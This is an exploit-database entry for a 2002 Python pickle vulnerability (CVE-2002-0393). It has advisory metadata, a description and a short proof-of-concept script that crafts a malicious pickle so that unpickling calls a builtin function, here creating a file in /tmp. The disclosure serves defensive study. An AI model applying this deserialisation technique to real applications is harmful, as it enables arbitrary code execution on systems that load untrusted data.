header-logo
Suggest Exploit
vendor:
Python
by:
SecurityFocus
7.5
CVSS
HIGH
Arbitrary Code Execution
94
CWE
Product Name: Python
Affected Version From: Python 2.1.1
Affected Version To: Python 2.1.1
Patch Exists: YES
Related CWE: CVE-2002-0393
CPE: a:python:python
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: All
2002

Python Pickle Module Vulnerability

A vulnerability has been reported in the Pickle implementation included with some versions of Python. If specially crafted malicious object data is 'unpickled', it may cause arbitrary Python commands to be executed, including system calls. This is accomplished by specifying an available function as the class constructor.

Mitigation:

Ensure that untrusted data is not passed to the Python Pickle module.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/5257/info


Python is an open source, object oriented programming language. The Python Pickle module is provided to convert object variables into a serialized form ("pickling"), and later recover the data back into an object hierarchy ("unpickling").

A vulnerability has been reported in the Pickle implementation included with some versions of Python. If specially crafted malicious object data is "unpickled", it may cause arbitrary Python commands to be executed, including system calls. This is accomplished by specifying an available function as the class constructor.

Exploitation of this vulnerability will be highly dependent on a specific Python application which accepts a pickle string from an untrusted source. This behavior has been reported in some implementations of the Python SmartCookie class.

import pickle, new

def nasty(module, function, *args):
return pickle.dumps(new.classobj(function, (), {
'__getinitargs__': lambda self, arg = args: arg,
'__module__': module
}) ())

# Create the evil pickle
t = nasty("__builtin__", "open", "/tmp/pickle-bug", "w")
# Show the user how it looks
print repr(t)
# Now, load the pickle -- creates the file /tmp/python-is-buggy (by calling
# the builtin open() function, then raises an exception. But the damage is
# done...
pickle.loads(t)